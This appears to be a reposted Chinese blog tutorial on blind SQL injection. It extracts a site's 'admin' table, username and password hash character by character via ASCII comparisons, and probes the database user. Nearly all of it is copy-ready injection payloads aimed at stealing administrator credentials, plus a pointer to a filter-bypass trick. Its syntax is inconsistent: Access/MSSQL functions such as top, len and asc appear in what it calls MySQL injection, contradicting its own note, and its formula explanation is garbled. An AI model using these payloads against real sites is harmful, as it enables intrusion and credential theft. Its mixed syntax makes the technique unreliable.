zoukankan      html  css  js  c++  java
  • ■Ascii逐字解码法注入,mysql5.0一下版本手工注入

    /*By:珍惜少年时*/

    逐字解码法,不一定非要猜字段内容。库名,表名,字段,data,都能猜。

    环境过滤了select、union(mysql5.0以下的版本就不支持union所以也可以用此方法),你可以用这方法。exists只是其中一种,还有别的方法也能猜。

    注:mysql不支持top函数,请使用limit函数

    注入思路:

      先把表跟字段猜解出来,猜解出来了.这个算是一个半猜解查询吧

    00x1判断表是否存在

    and exists (select * from admin) //猜解是否含有admin这个表
    

    00x2判断字段是否存在

    and exists (select username from admin) //猜解是否含有username这个字段
    and exists (select password from admin) //猜解是否含有password这个字段
    

    00x3字段长度的判断,判断了其长度更利于注入。比如判断了username的长度为五,那么极有可能是admin

    username字段的判断:
    and (select top 1 len(username) from admin)>5 //返回错误
    and (select top 1 len(username) from admin)=5 //返回正确,说明username的单词长度为五个,很有可能是admin
    
    password字段的判断:
    and (select top 1 len(password) from admin)>16 //返回错误
    and (select top 1 len(password) from admin)=16 //返回正确,说明password的单词长度为十六位的,很可能是经过md5加密的.

    00x4[猜解管理员账号] //使用ASCII转换即可获得加密内容.

    and(select top 1 asc(mid(username,1,1)) from admin)>97 错误
    and(select top 1 asc(mid(username,1,1)) from admin)=97 正确 则说明只有第一位的ASCII码为九十七
    and(select top 1 asc(mid(username,2,1)) from admin)=100 第二位也是同理.只不过mid函数里要修改以下部分内容
    and(select top 1 asc(mid(username,3,1)) from admin)=109
    and(select top 1 asc(mid(username,4,1)) from admin)=105
    and(select top 1 asc(mid(username,5,1)) from admin)=110


    00x5[猜解管理员密码]//与猜解账号方法大同小异

    公式:and(select top 1 asc(mid(password,a,n)) from admin)>97      //注:a大于n大1,后面的数字是ascii。

    and(select top 1 asc(mid(password,1,1)) from admin)>97
    and(select top 1 asc(mid(password,1,1)) from admin)=97
    and(select top 1 asc(mid(password,2,1)) from admin)=50
    and(select top 1 asc(mid(password,3,1)) from admin)=36
    ......................................................
    

    然后将97 50 36 等ascii码拿去解密。即可拿到真正的md5值

    当然了你还可以用逐字解码法来弄更多的东西

    比如我们来讲一下,逐字解码法来判断数据库权限

    在次我们要了解两个函数:

      1. Ord:该函数的作用是返回值字符串的第一个ASCII值
      2. Mid:用于得到函数的一部分,比如root里面的r

    CODE区域:

    and ord(mid(user(),1,1))=114/*
    

    =》结合函数的意思来说,就是得到第一个字符的ascii值。如果等于114就返回正确。114的ASCII值是r

    当“<”,“>”大小于符号被过滤的时候,可以通过greatest函数绕过。可参考:http://www.lijiejie.com/mysql-injection-bypass-waf/

    此外ASCII逐字解码兴许还有很多我不知道的,恳求大家的分享。

    THE END


  • 相关阅读:
    关于C++顺序容器一致初始化的问题
    44. 通配符匹配(Wildcard Matching)
    76. 最小覆盖子串(Minimum Window Substring)
    72. 编辑距离(Edit Distance)
    首入大观园
    删除链表的倒数第N个节点
    目标和
    克隆图
    最长回文子串
    旋转矩阵
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6050591.html
Copyright © 2011-2022 走看看